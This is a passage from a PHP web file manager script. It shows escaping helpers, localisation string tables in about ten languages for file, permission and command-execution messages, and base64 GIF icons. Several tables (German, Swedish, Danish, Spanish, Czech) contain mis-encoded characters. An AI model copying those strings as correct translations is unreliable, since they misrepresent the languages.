</tr>
';

}

function textfieldsize ($content) {

	$size = strlen($content) + 5;
	if ($size < 30) $size = 30;

	return $size;

}

function request_dump () {

	foreach ($_REQUEST as $key => $value) {
		echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
	}

}

/* ------------------------------------------------------------------------- */

function html ($string) {
	global $site_charset;
	return htmlentities($string, ENT_COMPAT, $site_charset);
}

function word ($word) {
	global $words, $word_charset;
	return htmlentities($words[$word], ENT_COMPAT, $word_charset);
}

function phrase ($phrase, $arguments) {
	global $words;
	static $search;

	if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";

	for ($i = 0; $i < sizeof($arguments); $i++) {
		$arguments[$i] = nl2br(html($arguments[$i]));
	}

	$replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');

	return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));

}

function getwords ($lang) {
	global $word_charset, $date_format;

	switch ($lang) {
	case 'de':

		$date_format = 'd.m.y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Verzeichnis',
'file' => 'Datei',
'filename' => 'Dateiname',

'size' => 'Grِكe',
'permission' => 'Rechte',
'owner' => 'Eigner',
'group' => 'Gruppe',
'other' => 'Andere',
'functions' => 'Funktionen',

'read' => 'lesen',
'write' => 'schreiben',
'execute' => 'ausführen',

'create_symlink' => 'Symlink erstellen',
'delete' => 'lِschen',
'rename' => 'umbenennen',
'move' => 'verschieben',
'copy' => 'kopieren',
'edit' => 'editieren',
'download' => 'herunterladen',
'upload' => 'hochladen',
'create' => 'erstellen',
'change' => 'wechseln',
'save' => 'speichern',
'set' => 'setze',
'reset' => 'zurücksetzen',
'relative' => 'Pfad zum Ziel relativ',

'yes' => 'Ja',
'no' => 'Nein',
'back' => 'zurück',
'destination' => 'Ziel',
'symlink' => 'Symbolischer Link',
'no_output' => 'keine Ausgabe',

'user' => 'Benutzername',
'password' => 'Kennwort',
'add' => 'hinzufügen',
'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',

'uploaded' => '"[%1]" wurde hochgeladen.',
'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
'already_exists' => '"[%1]" existiert bereits.',
'created' => '"[%1]" wurde erstellt.',
'not_created' => '"[%1]" konnte nicht erstellt werden.',
'really_delete' => 'Sollen folgende Dateien wirklich gelِscht werden?',
'deleted' => "Folgende Dateien wurden gelِscht:\n[%1]",
'not_deleted' => "Folgende Dateien konnten nicht gelِscht werden:\n[%1]",
'rename_file' => 'Benenne Datei um:',
'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
'move_files' => 'Verschieben folgende Dateien:',
'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
'copy_files' => 'Kopiere folgende Dateien:',
'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
'not_edited' => '"[%1]" kann nicht editiert werden.',
'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
'saved' => '"[%1]" wurde gespeichert.',
'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
'permission_for' => 'Rechte für "[%1]":',
'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
'not_readable' => '"[%1]" kann nicht gelesen werden.'
		);

	case 'fr':

		$date_format = 'd.m.y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Répertoire',
'file' => 'Fichier',
'filename' => 'Nom fichier',

'size' => 'Taille',
'permission' => 'Droits',
'owner' => 'Propriétaire',
'group' => 'Groupe',
'other' => 'Autres',
'functions' => 'Fonctions',

'read' => 'Lire',
'write' => 'Ecrire',
'execute' => 'Exécuter',

'create_symlink' => 'Créer lien symbolique',
'delete' => 'Effacer',
'rename' => 'Renommer',
'move' => 'Déplacer',
'copy' => 'Copier',
'edit' => 'Ouvrir',
'download' => 'Télécharger sur PC',
'upload' => 'Télécharger sur serveur',
'create' => 'Créer',
'change' => 'Changer',
'save' => 'Sauvegarder',
'set' => 'Exécuter',
'reset' => 'Réinitialiser',
'relative' => 'Relatif',

'yes' => 'Oui',
'no' => 'Non',
'back' => 'Retour',
'destination' => 'Destination',
'symlink' => 'Lien symbollique',
'no_output' => 'Pas de sortie',

'user' => 'Utilisateur',
'password' => 'Mot de passe',
'add' => 'Ajouter',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
'already_exists' => '"[%1]" existe déjà.',
'created' => '"[%1]" a été créé.',
'not_created' => '"[%1]" n a pas pu être créé.',
'really_delete' => 'Effacer le fichier?',
'deleted' => "Ces fichiers ont été détuits:\n[%1]",
'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
'rename_file' => 'Renomme fichier:',
'renamed' => '"[%1]" a été renommé en "[%2]".',
'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
'move_files' => 'Déplacer ces fichiers:',
'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
'copy_files' => 'Copier ces fichiers:',
'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" ne peut être ouvert.',
'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
'saved' => '"[%1]" a été sauvegardé.',
'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
'permission_for' => 'Droits de "[%1]":',
'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
'not_readable' => '"[%1]" ne peut pas être ouvert.'
		);

	case 'it':

		$date_format = 'd-m-Y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Nome File',

'size' => 'Dimensioni',
'permission' => 'Permessi',
'owner' => 'Proprietario',
'group' => 'Gruppo',
'other' => 'Altro',
'functions' => 'Funzioni',

'read' => 'leggi',
'write' => 'scrivi',
'execute' => 'esegui',

'create_symlink' => 'crea link simbolico',
'delete' => 'cancella',
'rename' => 'rinomina',
'move' => 'sposta',
'copy' => 'copia',
'edit' => 'modifica',
'download' => 'download',
'upload' => 'upload',
'create' => 'crea',
'change' => 'cambia',
'save' => 'salva',
'set' => 'imposta',
'reset' => 'reimposta',
'relative' => 'Percorso relativo per la destinazione',

'yes' => 'Si',
'no' => 'No',
'back' => 'indietro',
'destination' => 'Destinazione',
'symlink' => 'Link simbolico',
'no_output' => 'no output',

'user' => 'User',
'password' => 'Password',
'add' => 'aggiungi',
'add_basic_auth' => 'aggiungi autenticazione base',

'uploaded' => '"[%1]" è stato caricato.',
'not_uploaded' => '"[%1]" non è stato caricato.',
'already_exists' => '"[%1]" esiste già.',
'created' => '"[%1]" è stato creato.',
'not_created' => '"[%1]" non è stato creato.',
'really_delete' => 'Cancello questi file ?',
'deleted' => "Questi file sono stati cancellati:\n[%1]",
'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
'rename_file' => 'File rinominato:',
'renamed' => '"[%1]" è stato rinominato in "[%2]".',
'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
'move_files' => 'Sposto questi file:',
'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
'copy_files' => 'Copio questi file',
'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" non puٍ essere modificato.',
'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
'saved' => '"[%1]" è stato salvato.',
'not_saved' => '"[%1]" non è stato salvato.',
'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
'permission_for' => 'Permessi di "[%1]":',
'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
'not_readable' => '"[%1]" non puٍ essere letto.'
		);

	case 'nl':

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Directory',
'file' => 'Bestand',
'filename' => 'Bestandsnaam',

'size' => 'Grootte',
'permission' => 'Bevoegdheid',
'owner' => 'Eigenaar',
'group' => 'Groep',
'other' => 'Anderen',
'functions' => 'Functies',

'read' => 'lezen',
'write' => 'schrijven',
'execute' => 'uitvoeren',

'create_symlink' => 'maak symlink',
'delete' => 'verwijderen',
'rename' => 'hernoemen',
'move' => 'verplaatsen',
'copy' => 'kopieren',
'edit' => 'bewerken',
'download' => 'downloaden',
'upload' => 'uploaden',
'create' => 'aanmaken',
'change' => 'veranderen',
'save' => 'opslaan',
'set' => 'instellen',
'reset' => 'resetten',
'relative' => 'Relatief pat naar doel',

'yes' => 'Ja',
'no' => 'Nee',
'back' => 'terug',
'destination' => 'Bestemming',
'symlink' => 'Symlink',
'no_output' => 'geen output',

'user' => 'Gebruiker',
'password' => 'Wachtwoord',
'add' => 'toevoegen',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" is verstuurd.',
'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
'already_exists' => '"[%1]" bestaat al.',
'created' => '"[%1]" is aangemaakt.',
'not_created' => '"[%1]" kan niet worden aangemaakt.',
'really_delete' => 'Deze bestanden verwijderen?',
'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
'rename_file' => 'Bestandsnaam veranderen:',
'renamed' => '"[%1]" heet nu "[%2]".',
'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
'move_files' => 'Verplaats deze bestanden:',
'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
'copy_files' => 'Kopieer deze bestanden:',
'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan niet worden bewerkt.',
'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
'saved' => '"[%1]" is opgeslagen.',
'not_saved' => '"[%1]" is niet opgeslagen.',
'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
'permission_for' => 'Bevoegdheid voor "[%1]":',
'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
'not_readable' => '"[%1]" kan niet worden gelezen.'
		);

	case 'se':

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';
 
		return array(
'directory' => 'Mapp',
'file' => 'Fil',
'filename' => 'Filnamn',
 
'size' => 'Storlek',
'permission' => 'Sنkerhetsnivه',
'owner' => 'ؤgare',
'group' => 'Grupp',
'other' => 'Andra',
'functions' => 'Funktioner',
 
'read' => 'Lنs',
'write' => 'Skriv',
'execute' => 'Utfِr',
 
'create_symlink' => 'Skapa symlink',
'delete' => 'Radera',
'rename' => 'Byt namn',
'move' => 'Flytta',
'copy' => 'Kopiera',
'edit' => 'ؤndra',
'download' => 'Ladda ner',
'upload' => 'Ladda upp',
'create' => 'Skapa',
'change' => 'ؤndra',
'save' => 'Spara',
'set' => 'Markera',
'reset' => 'Tِm',
'relative' => 'Relative path to target',
 
'yes' => 'Ja',
'no' => 'Nej',
'back' => 'Tillbaks',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',
 
'user' => 'Anvنndare',
'password' => 'Lِsenord',
'add' => 'Lنgg till',
'add_basic_auth' => 'add basic-authentification',
 
'uploaded' => '"[%1]" har laddats upp.',
'not_uploaded' => '"[%1]" kunde inte laddas upp.',
'already_exists' => '"[%1]" finns redan.',
'created' => '"[%1]" har skapats.',
'not_created' => '"[%1]" kunde inte skapas.',
'really_delete' => 'Radera dessa filer?',
'deleted' => "De hنr filerna har raderats:\n[%1]",
'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
'rename_file' => 'Byt namn pه fil:',
'renamed' => '"[%1]" har bytt namn till "[%2]".',
'not_renamed' => '"[%1] kunde inte dِpas om till "[%2]".',
'move_files' => 'Flytta dessa filer:',
'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
'copy_files' => 'Kopiera dessa filer:',
'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan inte نndras.',
'executed' => "\"[%1]\" har utfِrts:\n{%2}",
'not_executed' => "\"[%1]\" kunde inte utfِras:\n{%2}",
'saved' => '"[%1]" har sparats.',
'not_saved' => '"[%1]" kunde inte sparas.',
'symlinked' => 'Symlink frهn "[%2]" till "[%1]" har skapats.',
'not_symlinked' => 'Symlink frهn "[%2]" till "[%1]" kunde inte skapas.',
'permission_for' => 'Rنttigheter fِr "[%1]":',
'permission_set' => 'Rنttigheter fِr "[%1]" نndrades till [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" kan inte lنsas.'
		);

	case 'sp':

		$date_format = 'j/n/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Directorio',
'file' => 'Archivo',
'filename' => 'Nombre Archivo',

'size' => 'Tamaٌo',
'permission' => 'Permisos',
'owner' => 'Propietario',
'group' => 'Grupo',
'other' => 'Otros',
'functions' => 'Funciones',

'read' => 'lectura',
'write' => 'escritura',
'execute' => 'ejecuciَn',

'create_symlink' => 'crear enlace',
'delete' => 'borrar',
'rename' => 'renombrar',
'move' => 'mover',
'copy' => 'copiar',
'edit' => 'editar',
'download' => 'bajar',
'upload' => 'subir',
'create' => 'crear',
'change' => 'cambiar',
'save' => 'salvar',
'set' => 'setear',
'reset' => 'resetear',
'relative' => 'Path relativo',

'yes' => 'Si',
'no' => 'No',
'back' => 'atrلs',
'destination' => 'Destino',
'symlink' => 'Enlace',
'no_output' => 'sin salida',

'user' => 'Usuario',
'password' => 'Clave',
'add' => 'agregar',
'add_basic_auth' => 'agregar autentificaciَn bلsica',

'uploaded' => '"[%1]" ha sido subido.',
'not_uploaded' => '"[%1]" no pudo ser subido.',
'already_exists' => '"[%1]" ya existe.',
'created' => '"[%1]" ha sido creado.',
'not_created' => '"[%1]" no pudo ser creado.',
'really_delete' => '؟Borra estos archivos?',
'deleted' => "Estos archivos han sido borrados:\n[%1]",
'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
'rename_file' => 'Renombra archivo:',
'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
'move_files' => 'Mover estos archivos:',
'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
'copy_files' => 'Copiar estos archivos:',
'copied' => "Estos archivos han sido copiados a  \"[%2]\":\n[%1]",
'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" no pudo ser editado.',
'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
'saved' => '"[%1]" ha sido salvado.',
'not_saved' => '"[%1]" no pudo ser salvado.',
'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
'permission_for' => 'Permisos de "[%1]":',
'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
'not_readable' => '"[%1]" no pudo ser leيdo.'
		);

	case 'dk':

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Mappe',
'file' => 'Fil',
'filename' => 'Filnavn',

'size' => 'Stّrrelse',
'permission' => 'Rettighed',
'owner' => 'Ejer',
'group' => 'Gruppe',
'other' => 'Andre',
'functions' => 'Funktioner',

'read' => 'lوs',
'write' => 'skriv',
'execute' => 'kّr',

'create_symlink' => 'opret symbolsk link',
'delete' => 'slet',
'rename' => 'omdّb',
'move' => 'flyt',
'copy' => 'kopier',
'edit' => 'rediger',
'download' => 'download',
'upload' => 'upload',
'create' => 'opret',
'change' => 'skift',
'save' => 'gem',
'set' => 'sوt',
'reset' => 'nulstil',
'relative' => 'Relativ sti til valg',

'yes' => 'Ja',
'no' => 'Nej',
'back' => 'tilbage',
'destination' => 'Distination',
'symlink' => 'Symbolsk link',
'no_output' => 'ingen resultat',

'user' => 'Bruger',
'password' => 'Kodeord',
'add' => 'tilfّj',
'add_basic_auth' => 'tilfّj grundliggende rettigheder',

'uploaded' => '"[%1]" er blevet uploaded.',
'not_uploaded' => '"[%1]" kunnu ikke uploades.',
'already_exists' => '"[%1]" findes allerede.',
'created' => '"[%1]" er blevet oprettet.',
'not_created' => '"[%1]" kunne ikke oprettes.',
'really_delete' => 'Slet disse filer?',
'deleted' => "Disse filer er blevet slettet:\n[%1]",
'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
'rename_file' => 'Omdّd fil:',
'renamed' => '"[%1]" er blevet omdّbt til "[%2]".',
'not_renamed' => '"[%1] kunne ikke omdّbes til "[%2]".',
'move_files' => 'Flyt disse filer:',
'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
'copy_files' => 'Kopier disse filer:',
'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan ikke redigeres.',
'executed' => "\"[%1]\" er blevet kّrt korrekt:\n{%2}",
'not_executed' => "\"[%1]\" kan ikke kّres korrekt:\n{%2}",
'saved' => '"[%1]" er blevet gemt.',
'not_saved' => '"[%1]" kunne ikke gemmes.',
'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
'permission_for' => 'Rettigheder for "[%1]":',
'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sوttes til [%2].',
'not_readable' => '"[%1]" Kan ikke lوses.'
		);

	case 'tr':

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Klasِr',
'file' => 'Dosya',
'filename' => 'dosya adi',

'size' => 'boyutu',
'permission' => 'Izin',
'owner' => 'sahib',
'group' => 'Grup',
'other' => 'Digerleri',
'functions' => 'Fonksiyonlar',

'read' => 'oku',
'write' => 'yaz',
'execute' => 'çalistir',

'create_symlink' => 'yarat symlink',
'delete' => 'sil',
'rename' => 'ad degistir',
'move' => 'tasi',
'copy' => 'kopyala',
'edit' => 'düzenle',
'download' => 'indir',
'upload' => 'yükle',
'create' => 'create',
'change' => 'degistir',
'save' => 'kaydet',
'set' => 'ayar',
'reset' => 'sifirla',
'relative' => 'Hedef yola gِre',

'yes' => 'Evet',
'no' => 'Hayir',
'back' => 'Geri',
'destination' => 'Hedef',
'symlink' => 'K‎sa yol',
'no_output' => 'çikti yok',

'user' => 'Kullanici',
'password' => 'Sifre',
'add' => 'ekle',
'add_basic_auth' => 'ekle basit-authentification',

'uploaded' => '"[%1]" yüklendi.',
'not_uploaded' => '"[%1]" yüklenemedi.',
'already_exists' => '"[%1]" kullanilmakta.',
'created' => '"[%1]" olusturuldu.',
'not_created' => '"[%1]" olusturulamadi.',
'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
'deleted' => "Bu dosyalar silindi:\n[%1]",
'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
'rename_file' => 'Adi degisen dosya:',
'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
'move_files' => 'Tasinan dosyalar:',
'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
'copy_files' => 'Kopyalanan dosyalar:',
'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" düzenlenemiyor.',
'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}",
'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}",
'saved' => '"[%1]" kaydedildi.',
'not_saved' => '"[%1]" kaydedilemedi.',
'symlinked' => '"[%2]" den "[%1]" e k‎sayol olu‏turuldu.',
'not_symlinked' => '"[%2]"den "[%1]" e k‎sayol olu‏turulamad‎.',
'permission_for' => 'Izinler "[%1]":',
'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
'not_readable' => '"[%1]" okunamiyor.'
		);

	case 'cs':

		$date_format = 'd.m.y H:i:s';
		$word_charset = 'UTF-8';

		return array(
'directory' => 'Adresأ،إ™',
'file' => 'Soubor',
'filename' => 'Jmأ©no souboru',

'size' => 'Velikost',
'permission' => 'Prأ،va',
'owner' => 'Vlastnأ­k',
'group' => 'Skupina',
'other' => 'Ostatnأ­',
'functions' => 'Funkce',

'read' => 'ؤŒtenأ­',
'write' => 'Zأ،pis',
'execute' => 'Spouإ،tؤ›nأ­',

'create_symlink' => 'Vytvoإ™it symbolickأ½ odkaz',
'delete' => 'Smazat',
'rename' => 'Pإ™ejmenovat',
'move' => 'Pإ™esunout',
'copy' => 'Zkopأ­rovat',
'edit' => 'Otevإ™أ­t',
'download' => 'Stأ،hnout',
'upload' => 'Nahraj na server',
'create' => 'Vytvoإ™it',
'change' => 'Zmؤ›nit',
'save' => 'Uloإ¾it',
'set' => 'Nastavit',
'reset' => 'zpؤ›t',
'relative' => 'Relatif',

'yes' => 'Ano',
'no' => 'Ne',
'back' => 'Zpؤ›t',
'destination' => 'Destination',
'symlink' => 'Symbolickأ½ odkaz',
'no_output' => 'Prأ،zdnأ½ vأ½stup',

'user' => 'Uإ¾ivatel',
'password' => 'Heslo',
'add' => 'Pإ™idat',
'add_basic_auth' => 'pإ™idej zأ،kladnأ­ autentizaci',

'uploaded' => 'Soubor "[%1]" byl nahrأ،n na server.',
'not_uploaded' => 'Soubor "[%1]" nebyl nahrأ،n na server.',
'already_exists' => 'Soubor "[%1]" uإ¾ exituje.',
'created' => 'Soubor "[%1]" byl vytvoإ™en.',
'not_created' => 'Soubor "[%1]" nemohl bأ½t  vytvoإ™en.',
'really_delete' => 'Vymazat soubor?',
'deleted' => "Byly vymazأ،ny tyto soubory:\n[%1]",
'not_deleted' => "Tyto soubory nemohly bأ½t vytvoإ™eny:\n[%1]",
'rename_file' => 'Pإ™ejmenuj soubory:',
'renamed' => 'Soubor "[%1]" byl pإ™ejmenovأ،n na "[%2]".',
'not_renamed' => 'Soubor "[%1]" nemohl bأ½t pإ™ejmenovأ،n na "[%2]".',
'move_files' => 'Pإ™emأ­stit tyto soubory:',
'moved' => "Tyto soubory byly pإ™emأ­stؤ›ny do \"[%2]\":\n[%1]",
'not_moved' => "Tyto soubory nemohly bأ½t pإ™emأ­stؤ›ny do \"[%2]\":\n[%1]",
'copy_files' => 'Zkopأ­rovat tyto soubory:',
'copied' => "Tyto soubory byly zkopأ­rovأ،ny do \"[%2]\":\n[%1]",
'not_copied' => "Tyto soubory nemohly bأ½t zkopأ­rovأ،ny do \"[%2]\":\n[%1]",
'not_edited' => 'Soubor "[%1]" nemohl bأ½t otevإ™en.',
'executed' => "SOubor \"[%1]\" byl spuإ،tؤ›n :\n{%2}",
'not_executed' => "Soubor \"[%1]\" nemohl bأ½t spuإ،tؤ›n:\n{%2}",
'saved' => 'Soubor "[%1]" byl uloإ¾en.',
'not_saved' => 'Soubor "[%1]" nemohl bأ½t uloإ¾en.',
'symlinked' => 'Byl vyvoإ™en symbolickأ½ odkaz "[%2]" na soubor "[%1]".',
'not_symlinked' => 'Symbolickأ½ odkaz "[%2]" na soubor "[%1]" nemohl bأ½t vytvoإ™en.',
'permission_for' => 'Prأ،va k "[%1]":',
'permission_set' => 'Prأ،va k "[%1]" byla zmؤ›nؤ›na na [%2].',
'permission_not_set' => 'Prأ،va k "[%1]" nemohla bأ½t zmؤ›nؤ›na na [%2].',
'not_readable' => 'Soubor "[%1]" nenأ­ moإ¾no pإ™eؤچأ­st.'
		);

	case 'en':
	default:

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Filename',

'size' => 'Size',
'permission' => 'Permission',
'owner' => 'Owner',
'group' => 'Group',
'other' => 'Others',
'functions' => 'Functions',

'read' => 'read',
'write' => 'write',
'execute' => 'execute',

'create_symlink' => 'create symlink',
'delete' => 'delete',
'rename' => 'rename',
'move' => 'move',
'copy' => 'copy',
'edit' => 'edit',
'download' => 'download',
'upload' => 'upload',
'create' => 'create',
'change' => 'change',
'save' => 'save',
'set' => 'set',
'reset' => 'reset',
'relative' => 'Relative path to target',

'yes' => 'Yes',
'no' => 'No',
'back' => 'back',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',

'user' => 'User',
'password' => 'Password',
'add' => 'add',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" has been uploaded.',
'not_uploaded' => '"[%1]" could not be uploaded.',
'already_exists' => '"[%1]" already exists.',
'created' => '"[%1]" has been created.',
'not_created' => '"[%1]" could not be created.',
'really_delete' => 'Delete these files?',
'deleted' => "These files have been deleted:\n[%1]",
'not_deleted' => "These files could not be deleted:\n[%1]",
'rename_file' => 'Rename file:',
'renamed' => '"[%1]" has been renamed to "[%2]".',
'not_renamed' => '"[%1] could not be renamed to "[%2]".',
'move_files' => 'Move these files:',
'moved' => "These files have been moved to \"[%2]\":\n[%1]",
'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
'copy_files' => 'Copy these files:',
'copied' => "These files have been copied to \"[%2]\":\n[%1]",
'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" can not be edited.',
'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
'saved' => '"[%1]" has been saved.',
'not_saved' => '"[%1]" could not be saved.',
'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
'permission_for' => 'Permission of "[%1]":',
'permission_set' => 'Permission of "[%1]" was set to [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" can not be read.'
		);

	}

}

function getimage ($image) {
	switch ($image) {
	case 'file':
		return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
	case 'folder':
		return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
	case 'hidden_file':
		return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
	case 'link':
		return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
	case 'smiley':
